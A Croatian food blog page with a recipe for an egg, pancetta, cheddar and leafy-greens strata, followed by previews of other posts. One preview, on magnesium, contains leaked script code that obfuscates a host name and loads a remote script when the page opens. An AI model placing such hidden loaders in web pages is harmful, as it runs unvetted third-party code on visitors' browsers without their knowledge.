SLOŽENAC S JAJIMA, PANCETOM I ŠPINATOM




Složenac s jajima, pancetom i špinatom 



Kombinacija jaja, hrskave pancete, sira i lisnatog povrća daje savršen doručak, brunch ili laganu večeru. Amerikanci će ovakav složenac sa starim kruhom zvati "strata" - zbog slojeva od kojih se sastoji. 




Složenac s jajima, pancetom i špinatom 


Sastojci:

  • 6 velikih jaja
  • 375 ml punomasnog mlijeka
  • 3 mlada luka, tanko narezana
  • 115 g cheddra, naribanog ili narezanog na kockice
  • 4 kriške pancete ili slanine (oko 100 g), nasjeckane
  • 1 manji luk, sitno nasjeckan
  • 170–200 g starog kruha narezanog na kockice
  • 85 g kelja ili blitve (bez stabljika), grubo nasjeckanog
  • 1/2 čajne žličice soli
  • svježe mljeveni papar, po ukusu



Priprema:

  1. Zagrijte pećnicu na 220 stupnjeva i postavite rešetku u sredinu pećnice. U većoj zdjeli umutite jaja i mlijeko dok se potpuno ne povežu. Dodajte mladi luk, sol, papar i sir pa lagano promiješajte.
  2. U velikoj tavi (idealno od lijevanog željeza, promjera 23–25 cm) na srednje jakoj vatri pržite pancetu oko 10 minuta, dok ne postane hrskava. Izvadite je na tanjur, a masnoću ostavite u tavi.
  3. Dodajte luk i pirjajte oko 5 minuta dok ne omekša i lagano se karamelizira. Zatim ubacite kockice kruha i povremeno miješajući pecite još 3 minute, dok lagano ne porumene.
  4. Maknite tavu s vatre, vratite pancetu i prelijte sve pripremljenom smjesom od jaja.
  5. Dodajte polovicu lisnatog povrća i lagano promiješajte. Zatim dodajte ostatak i još jednom nježno sjedinite.
  6. Stavite tavu u pećnicu i pecite oko 15 minuta, dok se sredina ne stisne, a rubovi lagano odvoje od stijenki posude i dobiju zlatnu boju. Na polovici pečenja okrenite tavu radi ravnomjernog pečenja.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više